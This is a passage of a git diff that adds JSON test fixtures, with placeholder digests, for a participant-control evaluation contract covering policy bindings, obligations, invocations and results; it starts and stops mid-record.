"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "inputs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "order": 1, + "participant_address": "participants.student", + "phase_ref": "practice", + "policy": { + "decision_cut_ref": "cut-1", + "effective_order": 1, + "policy_decision_ref": "crossing-decision-1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "valid_from_order": 0, + "valid_until_order": 20 + }, + "predecessors": [], + "prior_effect_claims": [], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + }, + { + "instance_id": "other", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + ], + "rule_firings": [], + "run": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "run", + "ref": "run-1", + "revision": "rev1" + }, + "sink_ref": "teaching-observation", + "state_cut": { + "anchor_event_ref": "event-1", + "anchor_order": 1, + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "history_prefix_length": 2, + "order_model": "behavior_history_order", + "predecessor_event_refs": [ + "event-0" + ] + }, + "subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode-1", + "participant_address": "participants.student", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "subject_kind": "participant-observation", + "subject_ref": "observation-1", + "subject_revision": "rev1" + }, + "trigger": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "trigger", + "ref": "event-1", + "revision": "rev1" + }, + "trigger_root": "root-1" + }, + "selection": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "bindings": [ + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + } + }, + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + } + } + ], + "bounds": { + "expires_at_order": 20, + "max_attempts": 3, + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1 + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1" + } + ], + "interpretation": "participant-control-applicability/rev1", + "obligations": [ + { + "constraints": [], + "obligation_id": "teaching-here", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "ifc-fact", + "required_strength": "exact" + }, + { + "constraints": [], + "obligation_id": "teaching-there", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "decision", + "required_strength": "exact" + } + ], + "required_profiles": [ + "teaching-influence" + ], + "schema_version": "participant-control-selection/v2", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "slots": [ + { + "constraints": [], + "dependencies": [], + "instance_id": "influence", + "kind": "ifc-fact", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "fact" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "ifc-fact", + "slot_id": "fact" + } + ], + "instance_id": "other", + "kind": "advisory", + "required_strength": "exact", + "role": "advisory", + "slot_id": "assessment" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "advisory", + "slot_id": "assessment" + } + ], + "instance_id": "influence", + "kind": "decision", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "rule" + }, + { + "constraints": [], + "dependencies": [], + "instance_id": "influence", + "kind": "effect-request", + "required_strength": "exact", + "role": "advisory", + "slot_id": "audit-slot" + } + ] + } + }, + "results": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:6eedb8ca7540290c79c772ed7bd65961992721cfbd58ed0665ac7428ca6f7f7f", + "next_provider_state": null, + "payload": { + "domain": "teaching-influence-domain/rev1", + "kind": "ifc-fact", + "source_refs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "tokens": [ + "coached-hint" + ] + }, + "result_id": "result-fact", + "rule_outcome": null, + "slot_id": "fact", + "status": "resolved" + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "other", + "invocation_digest": "sha256:36aaff3fa0fbf53ddf2cbfcbff3a36160204a9bdc7cd49d587d8b35ed78c76b5", + "next_provider_state": null, + "payload": { + "assessment": "negative", + "kind": "advisory", + "sample": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "assessment-sample", + "revision": "rev1" + }, + "score": 0.2 + }, + "result_id": "result-assessment", + "rule_outcome": null, + "slot_id": "assessment", + "status": "resolved" + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:c55bec711126640624b0115ec1e5eb58b9cad00c317a5ebced1bfb206ed2a73c", + "next_provider_state": null, + "payload": { + "disposition": "deny", + "kind": "decision", + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + }, + "result_id": "result-rule", + "rule_outcome": null, + "slot_id": "rule", + "status": "resolved" + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:d8a044cdacfa3bde7d79afeb0ed27f76ab9f089168b87d801e56f811b259967f", + "next_provider_state": null, + "payload": { + "allowed_parent_dispositions": [ + "deny" + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "effect_id": "effect-1", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1" + } + ], + "key": { + "firing_epoch": "epoch-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "run_ref": "run-1", + "slot": "followup", + "trigger_root": "root-1" + }, + "kind": "effect-request", + "originating_principal_ref": "teacher", + "parent_outcome": "none", + "phase": "independent", + "predecessor_effect_ids": [], + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1" + }, + "target": { + "audience_ref": "reviewers", + "audit_record": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "audit", + "ref": "audit-1", + "revision": "rev1" + }, + "kind": "audit", + "retention_policy": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "policy", + "ref": "retention", + "revision": "rev1" + }, + "subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode-1", + "participant_address": "participants.student", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "subject_kind": "participant-observation", + "subject_ref": "observation-1", + "subject_revision": "rev1" + } + }, + "trigger": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "trigger", + "ref": "trigger-1", + "revision": "rev1" + } + }, + "result_id": "result-audit", + "rule_outcome": null, + "slot_id": "audit-slot", + "status": "resolved" + } + ], + "schema_version": "participant-control-evaluation/v2", + "state_proposals": [], + "support": [ + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-here", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-there", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "other", + "obligation_id": "input:assessment", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + } + ] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/optional-failure.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/optional-failure.json new file mode 100644 index 000000000..bf1c46131 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/optional-failure.json @@ -0,0 +1,977 @@ +{ + "commit": { + "coverage_digest": "sha256:8853edfae9b3fd063aa76a0ea108752f51783330386a69a8bae3db935a42c6ec", + "decision_digest": "sha256:d1c72c0c53778b391603d2fad4f7a89a2e784920b0bdfad99bf882430d4237d1", + "dispatchable_effect_ids": [], + "effect_intent_digests": [], + "effects_consumed": 0, + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "receipt": null, + "result_digests": [ + "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "sha256:aacb4994403c2d24525b94e19eea45e05f50be437e224a7887c2f54e59286e33", + "sha256:a9e2dcea23396437cb731f5945d8622f2403172b366ed34a655b9e2ed307d466" + ], + "state_proposal_digests": [], + "status": "prepared" + }, + "composition": { + "blockers": [], + "contributing_result_ids": [ + "result-assessment", + "result-fact", + "result-monitor", + "result-rule" + ], + "disposition": "eligible", + "lost_advice_slot_ids": [ + "monitor" + ], + "rule_revision": "participant-control-applicability/rev1" + }, + "effect_plan": { + "decisions": [ + { + "decision_id": "result-rule", + "disposition": "permit", + "reasons": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "decision-basis", + "revision": "rev1" + } + ], + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + } + ], + "effect_outcomes": [], + "effects": [], + "incumbent_gate_disposition": "permit", + "parent_admission_receipt": null, + "parent_application_receipt": null, + "parent_applied": false, + "parent_crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "parent_disposition": "permit", + "realized_effect_ids": [], + "runnable_effect_ids": [] + }, + "evaluation_id": "evaluation-v2", + "invocations": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-fact", + "predecessor_inputs": [], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "fact" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "other", + "invocation_id": "invoke-assessment", + "predecessor_inputs": [ + { + "kind": "ifc-fact", + "result_digest": "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "result_id": "result-fact", + "slot_id": "fact" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "assessment" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-rule", + "predecessor_inputs": [ + { + "kind": "advisory", + "result_digest": "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "result_id": "result-assessment", + "slot_id": "assessment" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "rule" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-monitor", + "predecessor_inputs": [], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "monitor" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + } + ], + "lost_advice": [ + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "optional-loss", + "revision": "rev1" + } + ], + "reason": 